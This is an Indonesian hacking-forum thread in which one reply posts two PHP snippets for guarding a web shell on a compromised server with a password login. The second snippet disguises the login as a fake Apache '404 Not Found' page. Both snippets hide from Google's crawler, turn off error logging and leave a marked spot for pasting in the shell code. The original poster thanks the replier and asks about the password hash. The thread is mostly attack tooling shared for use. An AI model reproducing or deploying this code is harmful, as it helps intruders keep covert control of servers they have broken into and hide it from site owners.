05-22-2013, 05:30 PM
(05-21-2013, 10:43 PM)E1nzte1N Wrote: mksudnya mau nglindungin shell pake login form ?
kalo mksudnya emang itu, ini contohnya :
PHP Code:<?php error_reporting(E_ALL^(E_NOTICE|E_WARNING)); //authentication $auth_pass = "734096ccb82eba0769143b7d6486ce0b"; //your shell password $color = "#00ff00"; $default_action = 'FilesMan'; @define('SELF_PATH', __FILE__); if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; } @session_start(); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('VERSION', '2.1'); if( get_magic_quotes_gpc() ) { function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); } $_POST = stripslashes_array($_POST); } function printLogin() { ?> <html> <title>My Fvcking Shell</title> <body bgcolor="#000000"> <style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style> <center> <font face="courier" color="lime"><b>:: Log On ::</b></font> <form method=post> <input type=password name=pass> </form> </center> </body> </html> <?php exit; } if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; else printLogin(); if( strtolower( substr(PHP_OS,0,3) ) == "win" ) $os = 'win'; else $os = 'nix'; $safe_mode = @ini_get('safe_mode'); $disable_functions = @ini_get('disable_functions'); $home_cwd = @getcwd(); if( isset( $_POST['c'] ) ) @chdir($_POST['c']); $cwd = @getcwd(); if( $os == 'win') { $home_cwd = str_replace("\\", "/", $home_cwd); $cwd = str_replace("\\", "/", $cwd); } if( $cwd[strlen($cwd)-1] != '/' ) $cwd .= '/'; if($os == 'win') $aliases = array( ); else $aliases = array( ); //taruh code phpshell nya disini. ?>
ini login tersembunyi model 404 Not Found
PHP Code:<?php error_reporting(E_ALL^(E_NOTICE|E_WARNING)); //authentication $auth_pass = "734096cca89eba0769143b7d6646ce0b"; //your shell password $color = "#00ff00"; $default_action = 'FilesMan'; @define('SELF_PATH', __FILE__); if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; } @session_start(); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('VERSION', '2.1'); if( get_magic_quotes_gpc() ) { function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); } $_POST = stripslashes_array($_POST); } function printLogin() { ?> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address> <style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style> <form method=post> <input type=password name=pass> </form> <?php exit; } if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; else printLogin(); if( strtolower( substr(PHP_OS,0,3) ) == "win" ) $os = 'win'; else $os = 'nix'; $safe_mode = @ini_get('safe_mode'); $disable_functions = @ini_get('disable_functions'); $home_cwd = @getcwd(); if( isset( $_POST['c'] ) ) @chdir($_POST['c']); $cwd = @getcwd(); if( $os == 'win') { $home_cwd = str_replace("\\", "/", $home_cwd); $cwd = str_replace("\\", "/", $cwd); } if( $cwd[strlen($cwd)-1] != '/' ) $cwd .= '/'; if($os == 'win') $aliases = array( ); else $aliases = array( ); //code shell disini ?>
Wow , Thanks Banget broo
oh iya , itu Hash apaan ya ? kok pake MD5 kagak bisa :3
-----------------
Cendol +1 ->Melayang
Quote:Pensiun Dunia Hacking [ UDAH KAPOK ] - mohon maaf lahir dan batin - yang lalu biarlah berlalu ...



